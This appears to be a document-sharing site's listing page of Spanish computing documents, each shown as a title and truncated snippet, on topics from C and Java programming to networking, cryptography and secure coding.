Más detallesIntroducción a la Firma Electrónica en MIDAS
Introducción a la Firma Electrónica en MIDAS Firma Digital Introducción. El Módulo para la Integración de Documentos y Acceso a los Sistemas(MIDAS) emplea la firma digital como método de aseguramiento
Más detallesFACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0
1 er Cuatrimestre de 2011 FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0 Índice 1. Objetivo 2 2. Preparación del software 2 2.1. Instalación.......................................
Más detallesGeneración de código para funciones. Generación de código para funciones. Generación de código para funciones. Generación de código para funciones
Ejemplo introductorio: escritura de funciones en NASM Ejemplo introductorio: escritura de funciones en NASM En estas transparencias pondremos una subrutina ASPLE y la generación de código equivalente En
Más detalles6-REGISTROS DEL 8086 Y DEL 80286
ESTRUCTURA DE COMPUTADORES I (Capítulo 6: Los registros del microprocesador 8086) 1/7 6-REGISTROS DEL 8086 Y DEL 80286 6.1 INTRODUCCIÓN: Dentro del procesador existen unos contenedores especiales de 16
Más detallesApellidos Nombre DNI
A continuación se muestra el listado de un programa cuyo objetivo es encontrar una palabra dentro de una cadena de caracteres de la sección de datos y copiar dicha palabra en otra zona de la sección de
Más detallesProgramación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011
Programación segura Seguridad en los Sistemas Informáticos Ismael Ripoll Universidad Politècnica de València Abril 2011 Ismael Ripoll (Universidad Politècnica de València) Programación segura Abril 2011
Más detallesInternet Information Server
Internet Information Server Internet Information Server (IIS) es el servidor de páginas web avanzado de la plataforma Windows. Se distribuye gratuitamente junto con las versiones de Windows basadas en
Más detallesPipelining o Segmentación de Instrucciones
Pipelining o Segmentación de Instrucciones La segmentación de instrucciones es similar al uso de una cadena de montaje en una fábrica de manufacturación. En las cadenas de montaje, el producto pasa a través
Más detallesProblemas de Redes de Computadores. Conjunto de problemas 1
Problemas de Redes de Computadores. Ingeniería Técnica en Informática de Gestión Conjunto de problemas 1 Pregunta 1.1: Si configuro mi servidor Web para que no acepte conexiones desde la dirección IP 130.206.1.1,
Más detallesDIPLOMADO EN SEGURIDAD INFORMATICA
DIPLOMADO EN SEGURIDAD INFORMATICA Modulo 9: Soporte Computacional Clase 9_3:Protocolos de comunicación y conectividad de arquitecturas multiplataforma. Director Programa: César Torres A Profesor : Claudio
Más detallesLa utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.
Procesamiento del lado del servidor La Programación del lado del servidor es una tecnología que consiste en el procesamiento de una petición de un usuario mediante la interpretación de un script en el
Más detallesLenguaje de Programación: Go
Centro de Investigación y de Estudios Avanzados del I.P.N 9 de Noviembre de 2011 Go Es un lenguaje de programación de propósito general que es promovido por: Rob Pike, Robert Griesemer, Ken Thompson, Russ
Más detallesCapítulo 2.- Vulnerabilidades en aplicaciones web.
Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como
Más detallesTema 1. Introducción a JAVA
Tema 1. Introducción a JAVA Historia Características Plataforma Java Entorno de desarrollo Ejemplo: Hola mundo Estructura general de un programa Java 1 Historia de Java (i) Surge en 1991: Sun Microsystems
Más detallesPreguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información
Guía de Cifrado Preguntas y respuestas sobre el cifrado de la información personal La guía para aprender a cifrar tu información 2 Qué es lo que estamos cuidando? A través del cifrado cuidamos de fotos,
Más detallesEsquema de un programa en C: bloques básicos
Esquema de un programa en C: bloques básicos // Incluimos los ficheros de cabecera que necesitemos. // Esto es un comentario #include #include // Si queremos definir alguna constante,
Más detallesPreliminares. Tipos de variables y Expresiones
Preliminares. Tipos de variables y Expresiones Felipe Osorio Instituto de Estadística Pontificia Universidad Católica de Valparaíso Marzo 5, 2015 1 / 20 Preliminares Computadoras desarrollan tareas a un
Más detallesPunteros. Definición Un puntero es un dato que contiene una dirección de memoria.
Punteros Definición Un puntero es un dato que contiene una dirección de memoria. NOTA: Existe una dirección especial que se representa por medio de la constante NULL (definida en ) y se emplea
Más detallesPRUEBAS DE SOFTWARE TECNICAS DE PRUEBA DE SOFTWARE
PRUEBAS DE SOFTWARE La prueba del software es un elemento crítico para la garantía de la calidad del software. El objetivo de la etapa de pruebas es garantizar la calidad del producto desarrollado. Además,
Más detallesClases y Objetos. Informática II Ingeniería Electrónica
Clases y Objetos Informática II Ingeniería Electrónica Los Tipos de Datos Hasta ahora, en un programa podemos usar para representar variables a: Tipos fundamentales : enteros (int), caracteres (char),
Más detallesCapítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable
Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable 1. Introducción. El Sistema de Administración de Información de un Negocio Franquiciable (SAINF)
Más detallesAnexo B. Comunicaciones entre mc y PC
Anexo B Comunicaciones entre mc y PC En este apartado se hará hincapié en los comandos para el manejo del módulo de comunicaciones desde el PC. Conociendo estos comando se podrá realizar una aplicación
Más detallesRequisitos mínimos. ANEXO I: Certificado digital
Página 1 de 16 ANEXO I: Certificado digital Requisitos mínimos Sistema Operativo o Windows 2000 / XP / Vista / 7 / Server 2003 / Server 2008 y superiores o Linux 2.6 (Guadalinex y Ubuntu) y superiores
Más detallesOrganización de Computadoras
Organización de Computadoras Departamento de Ciencias e Ingeniería de la Computación Universidad Nacional del Sur Segundo Cuatrimestre de 2015 Proyecto N 1 Programación en Lenguaje C El objetivo principal
Más detallesIntroducción al lenguaje de programación java
Introducción al lenguaje de programación java Algoritmia y Programación Slide 1 LENGUAJES DE PROGRAMACION Un lenguaje de programación es un idioma artificial diseñado y creado para expresar algoritmos
Más detallesLa ventana de Microsoft Excel
Actividad N 1 Conceptos básicos de Planilla de Cálculo La ventana del Microsoft Excel y sus partes. Movimiento del cursor. Tipos de datos. Metodología de trabajo con planillas. La ventana de Microsoft
Más detallesGuía Rápida de Inicio
Guía Rápida de Inicio 1. Acerca de esta Guía Esta guía le ayudará a instalar y dar los primeros pasos con BitDefender Security for SharePoint. Para disponer de instrucciones detalladas, por favor, diríjase
Más detallesCONCLUSIONES 155 A través de cada uno de los capítulos del presente documento se han enumerado una serie herramientas de seguridad que forman parte del sistema de defensa de una red y que, controlan su
Más detallesAGREGAR COMPONENTES ADICIONALES DE WINDOWS
INSTALACIÓN DE IIS EN WINDOWS XP El sistema está desarrollado para ejecutarse bajo la plataforma IIS de Windows XP. Por esta razón, incluimos la instalación de IIS (Servidor de Web) para la correcta ejecución
Más detalles1. Descripción y objetivos
Pruebas 1 1. Descripción y objetivos Las pruebas son prácticas a realizar en diversos momentos de la vida del sistema de información para verificar: El correcto funcionamiento de los componentes del sistema.
Más detallesIntroducción a PHP. * No es necesario declarar previamente las variables.
Introducción a PHP La programación de sitios web cada día está más orientada al desarrollo de páginas dinámicas y aplicaciones, o sea sitios donde el usuario pueda interactuar con la web. Dentro de los
Más detallesModelo de Objetos Distribuidos
Remote Method Invocation Modelo de Objetos Distribuidos Un objeto remoto es un objeto cuyos métodos pueden ser invocados desde otra máquina virtual de java, potencialmente en un host diferente. Modelo
Más detallesCreación de Funciones de Conducción
Creación de Funciones de Conducción Requerimientos Para el desarrollo de esta actividad se requiere que: Contemos con un robot BoeBot armado con placa Arduino. Repetición En estos momentos habremos notado
Más detallesEdición de Ofertas Excel Manual de Usuario
Edición de Ofertas Excel Manual de Usuario Alfonso XI, 6 28014 Madrid F(+34) 91 524 03 96 www.omie.es Ref. MU_OfertasExcel.docx Versión 4.0 Fecha: 2012-11-26 ÍNDICE 1 INTRODUCCIÓN 3 2 CONSIDERACIONES DE
Más detallesGuia rápida EPlus Cliente-Servidor
Guia rápida EPlus Cliente-Servidor Esta guía permitirá al usuario instalar la aplicación e-plus, para firmar y declarar sus trámites a través de acceso remoto. CONSIDERACIONES GENERALES.- El software eplus
Más detallesINTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios
INTRODUCCION Tema: Protocolo de la Capa de aplicación. FTP HTTP Autor: Julio Cesar Morejon Rios Qué es FTP? FTP (File Transfer Protocol) es un protocolo de transferencia de archivos entre sistemas conectados
Más detallesWorkflows? Sí, cuántos quiere?
Workflows? Sí, cuántos quiere? 12.11.2006 Servicios Profesionales Danysoft Son notables los beneficios que una organización puede obtener gracias al soporte de procesos de negocios que requieran la intervención
Más detallesIntroducción al Proceso de Pruebas.
Introducción al Proceso de Pruebas. Javier Gutiérrez / javierj@us.es Introducción al proceso de pruebas Objetivo: repasar las ideas principales sobre las pruebas del software y, en concreto, las que usaremos
Más detallesMi primer proyecto en Dev-C++
Mi primer proyecto en Dev-C++ Para realizar esta actividad deberás disponer de un ordenador en el que esté instalado el Dev-C++. Debes ir realizando cada uno de los pasos indicados, en el mismo orden en
Más detallesComisión Nacional de Bancos y Seguros
Comisión Nacional de Bancos y Seguros Manual de Usuario Capturador de Pólizas División de Servicios a Instituciones Financieras Mayo de 2011 2 Contenido 1. Presentación... 3 1.1 Objetivo... 3 2. Descarga
Más detallesCOPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA
COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA Autor: Carlos Javier Martín González. Licenciado en Física Teórica por la Universidad Autónoma de Madrid. Analista programador y funcional. Desarrollador
Más detallesLógica Binaria. Arquitectura de Ordenadores. Codificación de la Información. Abelardo Pardo abel@it.uc3m.es. Universidad Carlos III de Madrid
Arquitectura de Ordenadores Codificación de la Información Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Lógica Binaria COD-1 Internamente el ordenador
Más detallesInvocación por protocolo de aplicaciones nativas desde páginas Web
Invocación por protocolo de aplicaciones nativas desde páginas Web Qué es la invocación por protocolo? Es un funcionamiento universal que los sistemas operativos mantengan una serie de asociaciones entre
Más detallesMódulo 1 El lenguaje Java
Módulo 1 El lenguaje 1.1 Presentación de es un lenguaje de programación desarrollado por la empresa Sun Microsystems en 1991 como parte de un proyecto secreto de investigación llamado Green Proyect, con
Más detallesInformación sobre seguridad
Información sobre seguridad SMART kapp incluye características de protección de datos diseñadas para mantener el contenido controlador de forma predecible. En esta página se explican las características
Más detallesApéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario
Apéndice 5 Manual de usuario de ColeXión ColeXión 1.0 Manual de usuario Índice 1. Qué es ColeXión?... 2 2. Requerimientos del sistema... 3 3. Instalación de ColeXión... 3 4. Creación de un nuevo esquema...
Más detallesEl proceso de Instalación de Microsoft SQL Server 2008
El proceso de Instalación de Microsoft SQL Server 2008 Luis Alejandro Esteban C - nave_tze@hotmail.com Este documento va dirigido a profesionales de tecnología interesados en entender el proceso de instalación
Más detallesVisual Basic 1. Empleo de módulos y Procedimientos. Procedimientos definidos por el usuario
Empleo de módulos y Procedimientos Procedimientos definidos por el usuario Según lo que hemos visto hasta ahora, Visual Basic, almacena el código en módulos. Hay tres clases de módulos: formularios (.frm),
Más detallesWINDOWS 2008 7: COPIAS DE SEGURIDAD
1.- INTRODUCCION: WINDOWS 2008 7: COPIAS DE SEGURIDAD Las copias de seguridad son un elemento fundamental para que el trabajo que realizamos se pueda proteger de aquellos problemas o desastres que pueden
Más detallesSEGURIDAD Y PROTECCION DE FICHEROS
SEGURIDAD Y PROTECCION DE FICHEROS INTEGRIDAD DEL SISTEMA DE ARCHIVOS ATAQUES AL SISTEMA PRINCIPIOS DE DISEÑO DE SISTEMAS SEGUROS IDENTIFICACIÓN DE USUARIOS MECANISMOS DE PROTECCIÓN Y CONTROL INTEGRIDAD
Más detallesMANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA. Versión 4.0
MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA Versión 4.0 1 Control Versión 1.0 Fecha: 01-07-2011 Modificaciones: Primera versión. Versión 2.0 Fecha: 22-09-2011 Modificaciones: Adaptado a websigner
Más detallesSENTINEL REMOTE CONTROL (S.R.C)
SENTINEL REMOTE CONTROL (S.R.C) Versión G-0.5 Índice de contenidos 0.Consideraciones acerca de este producto...3 1.Objetivo del SRC...3 2.0 Instalación...3 2.1.Parte cliente (gclient)...4 2.1.Parte servidora
Más detallesProgramación de código seguro
Programación de código seguro Distinción de vulnerabilidades Stack OverFlow y Heap OverFlow Comunes en lenguajes y aplicaciones de escritorio TOP 10 OWASP Muchas otras Stack OverFlow Stack OverFlow: Ejemplo
Más detallesUnidad III El lenguaje de programación C 1. 2. 3. 4. 5. 6. 7. 8.
Unidad III 1. Introducción. 2. Breve historia del C. 3. Lenguajes de programación de alto nivel, bajo nivel y nivel medio. 4. Compiladores e intérpretes. 5. Compilación, enlace y generación de un programa
Más detallesCRIPTOGRAFÍA SIMÉTRICA Y ASIMÉTRICA
CRIPTOGRAFÍA SIMÉTRICA Y ASIMÉTRICA Para generar una transmisión segura de datos, debemos contar con un canal que sea seguro, esto es debemos emplear técnicas de forma que los datos que se envían de una
Más detallesProcedimiento. Actualización de Kit de Conexión de Comercios Webpay versión 5.X a 6.0.2. Canales Remotos Operaciones. Transbank S.A.
[Código] Versión [n.n] Procedimiento Actualización de Kit de Conexión de Comercios Webpay versión 5.X a 6.0.2 Canales Remotos Operaciones Uso restringido a comercios Actualización KCC Webpay 6.0 a 6.0.2
Más detallesMétodos de verificación de usuarios en ELMS 1.1
Métodos de verificación de usuarios en ELMS 1.1 2012-12-21 Kivuto Solutions Inc. [CONFIDENCIAL] TABLA DE CONTENIDO DESCRIPCIÓN GENERAL...1 MÉTODOS DE VERIFICACIÓN...2 Verificación de usuario integrada
Más detallesPROGRAMACIÓN PÁGINAS WEB CON PHP
PROGRAMACIÓN PÁGINAS WEB CON PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología
Más detallesResumen del trabajo sobre DNSSEC
Resumen del trabajo sobre Contenido 1. -...2 1.1. - Definición...2 1.2. - Seguridad basada en cifrado...2 1.3. - Cadenas de confianza...3 1.4. - Confianzas...4 1.5. - Islas de confianza...4 2. - Conclusiones...5
Más detallesEstructuras de Sistemas Operativos
Estructuras de Sistemas Operativos Definicion de Sistema Operativos Un sistema operativo es un programa que actua como inter entre el usuario y el hardware de un computador y su proposito es proporcionar
Más detallesIntroducción... 1 Qué es Java?... 1 Compilando a Bytecode... 1 Usando jgrasp Para Hacer el Trabajo Sucio... 5 El Entorno de jgrasp...
Contenido Introducción... 1 Qué es Java?... 1 Compilando a Bytecode... 1 Usando jgrasp Para Hacer el Trabajo Sucio... 5 El Entorno de jgrasp... 5 Introducción Es tiempo de hablar en detalle de lo que significa
Más detallesPDF created with pdffactory Pro trial version www.pdffactory.com
Este libro está diseñado y escrito para aquellas personas que, conociendo HTML y JavaScript, desean dar un salto cuantioso en la creación de sitios web, con la programación dinámica en el lado del servidor.
Más detallesMANUAL COPIAS DE SEGURIDAD
MANUAL COPIAS DE SEGURIDAD Índice de contenido Ventajas del nuevo sistema de copia de seguridad...2 Actualización de la configuración...2 Pantalla de configuración...3 Configuración de las rutas...4 Carpeta
Más detalles2 EL DOCUMENTO DE ESPECIFICACIONES
Ingeniería Informática Tecnología de la Programación TEMA 1 Documentación de programas. 1 LA DOCUMENTACIÓN DE PROGRAMAS En la ejecución de un proyecto informático o un programa software se deben de seguir
Más detallesPropuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA
Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA Documento de trabajo elaborado para la Red Temática DocenWeb: Red Temática de Docencia en Control mediante Web (DPI2002-11505-E)
Más detallesManual del Protocolo XML-RPC de Mensajería Negocios
Manual del Protocolo XML-RPC de Mensajería Negocios Índice de contenidos 1 INTRODUCCIÓN... 3 2 FUNCIONALIDADES DEL API DE COMUNICACIÓN XML-RPC... 4 2.1 Envío Libre... 4 2.2 Envío a Grupo de Contactos...
Más detallesINTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD. Estructura de contenidos: http://www.ucv.edu.pe/cis/ cisvirtual@ucv.edu.pe. 1.
INTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD 1 Estructura de contenidos: 1. Programación Web 2. Sistema De Información 3. Sistema Web 4. Requisitos Para Sistemas Web Con Asp 5. Internet Information Server
Más detallesMaxpho Commerce 11. Gestión CSV. Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd
Maxpho Commerce 11 Gestión CSV Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd Índice general 1 - Introducción... 3 1.1 - El archivo CSV... 3 1.2 - Módulo CSV en Maxpho... 3 1.3 - Módulo CSV
Más detallesHacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13
Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,
Más detallesProf. Dr. Paul Bustamante
Prácticas de C++ Practica Nº 10 Informática II Fundamentos de Programación Prof. Dr. Paul Bustamante INDICE 1.1 EJERCICIO 1: MI PRIMER FICHERO EN BINARIO... 1 1.2 EJERCICIO 2: LEYENDO MI PRIMER FICHERO
Más detallesCómo ingresar a la Sucursal Electrónica?
Tabla de Contenidos Cómo ingresar a la Sucursal Electrónica? 2 Página Principal 3 Cómo consultar o eliminar colaboradores o proveedores en mi plan de Proveedores o Planillas? 4 Consultas y Exclusiones
Más detallesPuedo estar tranquilo acerca de la información de mi empresa? Donde puedo poner mis archivos cuando viajo?
Puedo estar tranquilo acerca de la información de mi empresa? Donde puedo poner mis archivos cuando viajo? Cómo hago llegar esta información confidencial a mis gerentes o clientes? Necesito un lugar donde
Más detallesMANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD
MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD Fecha última revisión: Diciembre 2010 Tareas Programadas TAREAS PROGRAMADAS... 3 LAS TAREAS PROGRAMADAS EN GOTELGEST.NET... 4 A) DAR DE ALTA UN USUARIO...
Más detallesAcronis License Server. Guía del usuario
Acronis License Server Guía del usuario TABLA DE CONTENIDO 1. INTRODUCCIÓN... 3 1.1 Generalidades... 3 1.2 Política de licencias... 3 2. SISTEMAS OPERATIVOS COMPATIBLES... 4 3. INSTALACIÓN DE ACRONIS LICENSE
Más detallesExplotación de Overflow en memoria heap en Windows Explotación de memoria heap personalizada en Windows 7
Explotación de Overflow en memoria heap en Windows Explotación de memoria heap personalizada en Windows 7 Autor: Souhail Hammou Traducción al Español (Latinoamericano,México): Christian Guzmán Blog: http://rce4fun.blogspot.com/
Más detallesUso de la red telefónica
Copyright y marca comercial 2004 palmone, Inc. Todos los derechos reservados. palmone, Treo, los logotipos de palmone y Treo, Palm, Palm OS, HotSync, Palm Powered, y VersaMail son algunas de las marcas
Más detallesSISTEMAS DE NOMBRES DE DOMINIO
SISTEMAS DE NOMBRES DE DOMINIO La historia del sistema de nombres de dominio, DNS, se remonta a la década de los setenta, donde cada una de las computadoras conectadas a la red tenía asignada una dirección
Más detallesTutorial: Primeros Pasos con Subversion
Tutorial: Primeros Pasos con Subversion Introducción Subversion es un sistema de control de versiones open source. Corre en distintos sistemas operativos y su principal interfaz con el usuario es a través
Más detallesServidores de nombres de dominio (DNS) Jesús Torres Cejudo
Zonas Zona de Búsqueda Directa.- Las resoluciones de esta zona devuelven la dirección IP correspondiente al recurso solicitado; este tipo de zona realiza las resoluciones que esperan como respuesta la
Más detallesSemana 13: Encriptación. Cifrado simétrico
Semana 13: Encriptación Cifrado simétrico Aprendizajes esperados Contenidos: Características y principios del cifrado simétrico Algoritmos de cifrado simétrico Encriptación Simétrica En la encriptación
Más detallesManual de NetBeans y XAMPP
Three Headed Monkey Manual de NetBeans y XAMPP Versión 1.0 Guillermo Montoro Delgado Raúl Nadal Burgos Juan María Ruiz Tinas Lunes, 22 de marzo de 2010 Contenido NetBeans... 2 Qué es NetBeans?... 2 Instalación
Más detallesInformación sobre seguridad
Información sobre seguridad SMART kapp iq incluye características de seguridad de datos diseñadas para mantener su contenido de controlado de forma predecible. En esta página se explican las características
Más detallesTransacciones y bloqueos en SQL-Server
Transacciones y bloqueos en SQL-Server (Información para el uso desde Axapta) Introducción En este documento vamos a intentar explicar cuatro conceptos básicos acerca de las transacciones y los bloqueos
Más detallesJavaScript como Orientación a Objetos
Gustavo Lacoste (gustavo@lacosox.org) October 2012 Resumen El objetivo de las siguientes notas es generar una estructura en JavaScript que nos permita reutilizar de manera limpia las funciones creadas
Más detallesIntroducción a la plataforma Moodle Aníbal de la Torre 2006. Plataforma Moodle. Accediendo a los contenidos
Plataforma Moodle Accediendo a los contenidos Formatos ----------------------------------------------------------------------- 2 Glosarios -----------------------------------------------------------------------
Más detallesACTIVIDADES TEMA 1. EL LENGUAJE DE LOS ORDENADORES. 4º E.S.O- SOLUCIONES.
1.- a) Explica qué es un bit de información. Qué es el lenguaje binario? Bit es la abreviatura de Binary digit. (Dígito binario). Un bit es un dígito del lenguaje binario que es el lenguaje universal usado
Más detallesTema 6. Reutilización de código. Programación 2015-2016. Programación - Tema 6: Reutilización de código
Tema 6 Reutilización de código Programación 2015-2016 Programación - Tema 6: Reutilización de código 1 Tema 6. Reutilización de código Modularidad. Implementación de métodos. Uso de métodos. Programación
Más detallesPráctica 00: Compilador
Práctica 00: Compilador El objetivo de esta práctica es aprender a utilizar el compilador y el entorno de desarrollo instalado en las aulas de la Escuela Técnica Superior de Ingeniería ICAI. 1. Compiladores
Más detallesTelnet Comunicaciones 1. Luis Alfredo da Silva 20.232.871 Gregori Gonzalez 21.218.739 Rhamin Elrhouate 19.777.404 July 2014
Telnet Comunicaciones 1 Luis Alfredo da Silva 20.232.871 Gregori Gonzalez 21.218.739 Rhamin Elrhouate 19.777.404 July 2014 1 1 Telnet 1.1 Introducción Telnet es uno de los protocolos más antiguos de internet
Más detalles